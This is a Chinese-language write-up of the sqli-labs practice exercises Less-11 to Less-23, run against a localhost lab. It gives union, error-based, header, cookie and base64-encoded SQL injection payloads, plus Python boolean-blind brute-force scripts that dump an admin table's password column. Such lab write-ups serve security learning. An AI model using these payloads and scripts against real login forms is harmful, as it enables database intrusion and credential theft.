sql-liab(11-23)

Less-11

本道题开始,我们进入了通过由POST方式进行注入

  1. 查找注入点及探索注入方式

    1'+order+by+3--+
    

    sql-liab(11-23)_第1张图片

  2. 查看注入位置

    1'+union+select+0,1--+
    

    sql-liab(11-23)_第2张图片

  3. 开始注入

    1. 获取表名

      1'+union+select+(select+group_concat(table_name)+from+information_schema.tables+where+table_schema=database()),1--+
      

      sql-liab(11-23)_第3张图片

    2. 获取字段名

      1'+union+select+(select+group_concat(column_name)+from+information_schema.columns+where+table_name='admin'),1--+
      

      sql-liab(11-23)_第4张图片

    3. 获取flag

      1'+union+select+(select+password+from+admin+limit+0,1),1--+
      

      sql-liab(11-23)_第5张图片

  4. 代码审计

    sql-liab(11-23)_第6张图片

Less-12

  1. 查找注入点及探索注入方式

    联合注入且需要闭合双引号和括号,注入点为username

    1")+order+by+3--+
    

    sql-liab(11-23)_第7张图片

    • 发现表示行为2
  2. 查看注入位置

    1")+union+select+1,2--+
    

    sql-liab(11-23)_第8张图片

  3. 进行注入

    1. 获取表名

      1")+union+select+(select+group_concat(table_name)+from+information_schema.tables+where+table_schema=database()),2--+
      

      sql-liab(11-23)_第9张图片

    2. 获取字段名

      1")+union+select+(select+group_concat(column_name)+from+information_schema.columns+where+table_name='admin'),2--+
      

      sql-liab(11-23)_第10张图片

    3. 获取flag

      1")+union+select+(select+password+from+admin+limit+0,1),2--+
      

      sql-liab(11-23)_第11张图片

  4. 代码审计

    sql-liab(11-23)_第12张图片

Less-13

  1. 查找注入点及注入方式

    1)'
    

    在这里插入图片描述

    1')+order+by+3--+
    

    sql-liab(11-23)_第13张图片

    发现联合注入无法使用,页面无法显示正常的数据。但是可以进行报错,因此采用报错注入的方式

    1')+and+updatexml(1,concat(0x7e,version(),0x7e),1)--+
    

    sql-liab(11-23)_第14张图片

  2. 进行注入

    1. 获取表名

      1')+and+updatexml(1,concat(0x7e,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema=database()),0x7e),1)--+
      

      sql-liab(11-23)_第15张图片

    2. 获取字段名

      1')+and+updatexml(1,concat(0x7e,(select+group_concat(column_name)+from+information_schema.columns+where+table_name='admin'),0x7e),1)--+
      

      sql-liab(11-23)_第16张图片

    3. 获取flag

      1')+and+updatexml(1,concat(0x7e,mid((select+password+from+admin+limit+0,1),1,10),0x7e),1)--+
      
      flag{AE0E4
      

      sql-liab(11-23)_第17张图片

      1')+and+updatexml(1,concat(0x7e,mid((select+password+from+admin+limit+0,1),11,10),0x7e),1)--+
      
      BDAD7B5F6
      

      sql-liab(11-23)_第18张图片

      1')+and+updatexml(1,concat(0x7e,mid((select+password+from+admin+limit+0,1),21,10),0x7e),1)--+
      
      1417433660
      

      sql-liab(11-23)_第19张图片

      1')+and+updatexml(1,concat(0x7e,mid((select+password+from+admin+limit+0,1),31,10),0x7e),1)--+
      
      26D2EA5}
      

      sql-liab(11-23)_第20张图片

      最后拼接

      flag{AE0E4BDAD7B5F67141743366026D2EA5}
      
      
  3. 代码审计

    sql-liab(11-23)_第21张图片

Less-14

  1. 查看注入点并判断注入方式

    1"'--+
    

    sql-liab(11-23)_第22张图片

    1"+union+select+1,2--+
    

    sql-liab(11-23)_第23张图片

    1"+and+extractvalue(1,concat(0x7e,(version()),0x7e))--+
    

    sql-liab(11-23)_第24张图片

  2. 开始注入

    1. 获得表名

      1"+and+extractvalue(1,concat(0x7e,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema=database()),0x7e))--+
      

      sql-liab(11-23)_第25张图片

    2. 获得字段名

      1"+and+extractvalue(1,concat(0x7e,(select+group_concat(column_name)+from+information_schema.columns+where+table_name='admin'),0x7e))--+
      

      sql-liab(11-23)_第26张图片

    3. 获得flag

      由于长度过长所以我们采用分段截取的方式

      1"+and+extractvalue(1,concat(0x7e,mid((select+password+from+admin+limit+0,1),1,10),0x7e))--+
      
      flag{AE0E4
      

      sql-liab(11-23)_第27张图片

      1"+and+extractvalue(1,concat(0x7e,mid((select+password+from+admin+limit+0,1),11,10),0x7e))--+
      
      BDAD7B5F67
      

      sql-liab(11-23)_第28张图片

      1"+and+extractvalue(1,concat(0x7e,mid((select+password+from+admin+limit+0,1),21,10),0x7e))--+
      
      1417433660
      

      sql-liab(11-23)_第29张图片

      1"+and+extractvalue(1,concat(0x7e,mid((select+password+from+admin+limit+0,1),31,10),0x7e))--+
      
      26D2EA5}
      

      sql-liab(11-23)_第30张图片

      进行拼接

      flag{AE0E4BDAD7B5F67141743366026D2EA5}
      
  3. 代码审计

    sql-liab(11-23)_第31张图片

Less-15

  1. 判断注入点及方式

    -1'+or+1=1--+
    

    sql-liab(11-23)_第32张图片

    -1'+or+1=2--+
    

    sql-liab(11-23)_第33张图片

    因此,我们选择布尔盲注

  2. python注入脚本编写

    判断代码

    import requests
    
    chars="qwertyuiopasdfghjklzxcvbnm}{"
    url="http://localhost/Less-15/index.php"
    
    
    payload={
           
    	"uname":"-1' or 1=1#",
    	"passwd":"",
    	"submit":"Submit"
    }
    r=requests.post(url=url,data=payload)
    print(r.text)
    print(len(r.text))
    # right:1492
    # 1446
    

    先进行判断,可以看出当正确时,长度为1492,错误时1446。因此我们可以利用这种差距进行注入

    完整代码(未加判断代码)

    import requests
    
    chars="qwertyuiopasdfghjklzxcvbnm0123456789}{"
    url="http://localhost/Less-15/index.php"
    
    for x in range(0,10):
    	table_name=""
    	for y in range(1,20):
    		for char in chars:
    			payload = {
    				"uname": "-1' or mid((select table_name from information_schema.tables where table_schema=database() limit "+str(x)+",1),"+str(y)+",1)='"+char+"'#",
    				"passwd": "",
    				"submit": "Submit"
    			}
    			r=requests.post(url=url,data=payload)
    			# print(len(r.text))
    			if len(r.text)==1492:
    				table_name+=char
    	if bool(table_name):
    		print(table_name)
    
    # 获取字段名
    for x in range(0,10):
    	column_name=""
    	for y in range(1,20):
    		for char in chars:
    			payload = {
    				"uname": "-1' or mid((select column_name from information_schema.columns where table_name='admin' limit "+str(x)+",1),"+str(y)+",1)='"+char+"'#",
    				"passwd": "",
    				"submit": "Submit"
    			}
    			r=requests.post(url=url,data=payload)
    			# print(len(r.text))
    			if len(r.text)==1492:
    				column_name+=char
    	if bool(column_name):
    		print(column_name)
    
    # 获取内容
    for x in range(0,10):
    	password_value=""
    	for y in range(1,50):
    		for char in chars:
    			payload = {
    				"uname": "-1' or mid((select password from admin limit "+str(x)+",1),"+str(y)+",1)='"+char+"'#",
    				"passwd": "",
    				"submit": "Submit"
    			}
    			r=requests.post(url=url,data=payload)
    			# print(len(r.text))
    			if len(r.text)==1492:
    				password_value+=char
    	if bool(password_value):
    		print(password_value)
    

    获得flag

    flag{ae0e4bdad7b5f67141743366026d2ea5}
    
  3. 代码审计

    sql-liab(11-23)_第34张图片

Less-16

  1. 查找注入点及判断注入方式

    -1")
    

    在这里插入图片描述

    页面没有回显数据,但是正确与否会出现偏差,因此采用布尔注入

  2. python代码编写

    import requests
    
    chars="1234567890qwertyuiopasdfghjklzxcvbnm}{"
    url="http://localhost/Less-16/"
    
    
    # 测试
    # payload={
           
    # 	'uname':'-1") or 1=1#',
    # 	'passwd':'',
    # 	'submit':'Submit'
    # }
    # r=requests.post(url=url,data=payload)
    # print(r.text)
    # print(len(r.text))
    # right:1504
    # 获取表名
    for x in range(0,10):
    	table_name=""
    	for y in range(1,20):
    		for char in chars:
    			payload={
           
    				'uname': '-1") or ord(mid((select table_name from information_schema.tables where table_schema=database() limit '+str(x)+',1),'+str(y)+',1))='+str(ord(char))+'#',
    				'passwd': '',
    				'submit': 'Submit'
    			}
    			r=requests.post(url=url,data=payload)
    			# print(len(r.text))
    			if len(r.text)==1504:
    				table_name+=char
    	if bool(table_name):
    		print(table_name)
    
    # 获取字段名
    for x in range(0,10):
    	column_name=""
    	for y in range(1,20):
    		for char in chars:
    			payload={
           
    				'uname': '-1") or ord(mid((select column_name from information_schema.columns where table_name=0x61646D696E limit '+str(x)+',1),'+str(y)+',1))='+str(ord(char))+'#',
    				'passwd': '',
    				'submit': 'Submit'
    			}
    			r=requests.post(url=url,data=payload)
    			# print(len(r.text))
    			if len(r.text)==1504:
    				column_name+=char
    	if bool(column_name):
    		print(column_name)
    
    # 获取内容
    for x in range(0,10):
    	password_value=""
    	for y in range(1,50):
    		for char in chars:
    			payload={
           
    				'uname': '-1") or ord(mid((select password from admin limit '+str(x)+',1),'+str(y)+',1))='+str(ord(char))+'#',
    				'passwd': '',
    				'submit': 'Submit'
    			}
    			r=requests.post(url=url,data=payload)
    			# print(len(r.text))
    			if len(r.text)==1504:
    				password_value+=char
    	if bool(password_value):
    		print(password_value)
    

    获取flag为

    flag{04756714174336602625}
    
  3. 代码审计

    sql-liab(11-23)_第35张图片

Less-17

  1. 判断注入点及方式

    根据提示我们在password进行注入,而且需要采取正确的用户名

    brupsite:
    uname=Dhakkan&passwd=1'+and+updatexml(1,concat(0x7e,version(),0x7e),1)--+&submit=Submit
    

    sql-liab(11-23)_第36张图片

  2. 开始进行注入

    1. 获取表名

      1'+and+updatexml(1,concat(0x7e,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema=database()),0x7e),1)--+
      

      sql-liab(11-23)_第37张图片

    2. 获取字段名

      1'+and+updatexml(1,concat(0x7e,(select+group_concat(column_name)+from+information_schema.columns+where+table_name='admin'),0x7e),1)--+
      

      sql-liab(11-23)_第38张图片

    3. 获取内容

      由于flag过长,我们采用分段截取的方式

      1'+and+updatexml(1,concat(0x7e,mid((select+password+from+admin+limit+0,1),1,10),0x7e),1)--+
      
      1'+and+updatexml(1,concat(0x7e,mid((select+password+from+admin+limit+0,1),11,10),0x7e),1)--+
      
      1'+and+updatexml(1,concat(0x7e,mid((select+password+from+admin+limit+0,1),21,10),0x7e),1)--+
      
      1'+and+updatexml(1,concat(0x7e,mid((select+password+from+admin+limit+0,1),31,10),0x7e),1)--+
      
      flag{AE0E4BDAD7B5F67141743366026D2EA5}
      
  3. 代码审计

    第一部分过滤代码审计:

    function check_input($value)
    	{
           
        // 判断是否为空字符,如果不是则取前15个字符
    	if(!empty($value))
    		{
           
    		// truncation (see comments)
    		$value = substr($value,0,15);
    		}
    
    		// Stripslashes if magic quotes enabled
        	// 去除双引号
    		if (get_magic_quotes_gpc())
    			{
           
    			$value = stripslashes($value);
    			}
    
    		// Quote if not a number
        	// 判断是否为全为数字,如果不是则加引号
    		if (!ctype_digit($value))
    			{
           
    			$value = "'" . mysql_real_escape_string($value) . "'";
    			}
    		
    	else
    		{
           
    		$value = intval($value);
    		}
    	return $value;
    	}
    

    sql-liab(11-23)_第39张图片

Less-18

头部注入(前提密码和账户正确):

利用user agent

介绍:

User Agent中文名为用户代理,简称 UA,它是一个特殊字符串头,使得服务器能够识别客户使用的操作系统及版本、CPU
类型、浏览器及版本、浏览器渲染引擎、浏览器语言、浏览器插件等。

一些网站常常通过判断 UA 来给不同的操作系统、不同的浏览器发送不同的页面,因此可能造成某些页面无法在某个浏览器中正常显示,但通过伪装 UA
可以绕过检测。
————————————————

开始注入:

sql-liab(11-23)_第40张图片

' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1

sql-liab(11-23)_第41张图片

  • 需要正确的用户名和密码

代码审计

sql-liab(11-23)_第42张图片

Less-19

头部注入:利用referer头字段进行注入

' and updatexml(1,concat(0x7e,version(),0x7e),1) and '1'='1

sql-liab(11-23)_第43张图片

代码审计

sql-liab(11-23)_第44张图片

Less-20

头部注入:

cookie注入

利用brupsite进行页面抓取,然后抓取第二个页面

报错注入

sql-liab(11-23)_第45张图片

union联合注入

sql-liab(11-23)_第46张图片

Less-21

  1. 注入点判断及注入分析

    sql-liab(11-23)_第47张图片

    报错注入
    1') and updatexml(1,concat(0x7e,version(),0x7e),1)#
    经过base64加密
    MScpIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSx2ZXJzaW9uKCksMHg3ZSksMSkj
    

    sql-liab(11-23)_第48张图片

    联合注入
    1')  order by 4#
    base64加密:
    MScpICBvcmRlciBieSA0Iw==
    

    sql-liab(11-23)_第49张图片

    联合注入
    1')  union select 1,2,3#
    base64:
    MScpICB1bmlvbiBzZWxlY3QgMSwyLDMj
    

    sql-liab(11-23)_第50张图片

联合注入
1')  union select (select group_concat(table_name) from information_schema.tables where table_schema=database()),2,3#
base64:
MScpICB1bmlvbiBzZWxlY3QgKHNlbGVjdCBncm91cF9jb25jYXQodGFibGVfbmFtZSkgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIHdoZXJlIHRhYmxlX3NjaGVtYT1kYXRhYmFzZSgpKSwyLDMj

sql-liab(11-23)_第51张图片

联合注入:
1')  union select (select group_concat(column_name) from information_schema.columns where table_name='admin'),2,3#
base64:
MScpICB1bmlvbiBzZWxlY3QgKHNlbGVjdCBncm91cF9jb25jYXQoY29sdW1uX25hbWUpIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLmNvbHVtbnMgd2hlcmUgdGFibGVfbmFtZT0nYWRtaW4nKSwyLDMj

sql-liab(11-23)_第52张图片

联合注入:
1')  union select (select password from admin limit 0,1),2,3#
base64:
MScpICB1bmlvbiBzZWxlY3QgKHNlbGVjdCBwYXNzd29yZCBmcm9tIGFkbWluIGxpbWl0IDAsMSksMiwzIw==

sql-liab(11-23)_第53张图片

Less-22

  1. 注入点分析

    依旧是头部注入,cookie注入,还是base64编码

    /
    base64:
    XA==
    

    sql-liab(11-23)_第54张图片

    联合注入:
    1" order by 4# 
    base64:
    MSIgb3JkZXIgYnkgNCMg
    

    sql-liab(11-23)_第55张图片

  2. 开始注入

    联合注入
    1“ union select 1,2,3
    base64:
    MSIgdW5pb24gc2VsZWN0IDEsMiwzIyA=
    

    sql-liab(11-23)_第56张图片

    联合注入
    1" union select (select group_concat(table_name) from information_schema.tables where table_schema=database()),2,3#
    base64:
    MSIgdW5pb24gc2VsZWN0IChzZWxlY3QgZ3JvdXBfY29uY2F0KHRhYmxlX25hbWUpIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcyB3aGVyZSB0YWJsZV9zY2hlbWE9ZGF0YWJhc2UoKSksMiwzIw==
    

    sql-liab(11-23)_第57张图片

    联合注入
    1" union select (select group_concat(column_name) from information_schema.columns where table_name='admin'),2,3#
    base64:
    MSIgdW5pb24gc2VsZWN0IChzZWxlY3QgZ3JvdXBfY29uY2F0KGNvbHVtbl9uYW1lKSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS5jb2x1bW5zIHdoZXJlIHRhYmxlX25hbWU9J2FkbWluJyksMiwzIw==
    

    sql-liab(11-23)_第58张图片

    联合注入
    1" union select (select password from admin limit 0,1),2,3#
    base64:
    MSIgdW5pb24gc2VsZWN0IChzZWxlY3QgcGFzc3dvcmQgZnJvbSBhZG1pbiBsaW1pdCAwLDEpLDIsMyM=
    

    sql-liab(11-23)_第59张图片

  3. 代码审计

    sql-liab(11-23)_第60张图片

Less-23

本道题考的是注释符的绕过

\

sql-liab(11-23)_第61张图片

尝试闭合单引号

1'%23
1'--+

sql-liab(11-23)_第62张图片

发现均被过滤

1'+and+'1'='1

sql-liab(11-23)_第63张图片

可以正常显示

在构建·

-1'+union+select+1,2,3+and+'1'='1

sql-liab(11-23)_第64张图片

-1'+union+select+1,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema=database()),3+and+'1'='1
-1'+union+select+1,(select+group_concat(column_name)+from+information_schema.columns+where+table_name='admin'),3+and+'1'='1
-1'+union+select+1,(select+password+from+admin),3+and+'1'='1

获得flag

sql-liab(11-23)_第65张图片

你可能感兴趣的:(CTF,sql,sql,数据库,database)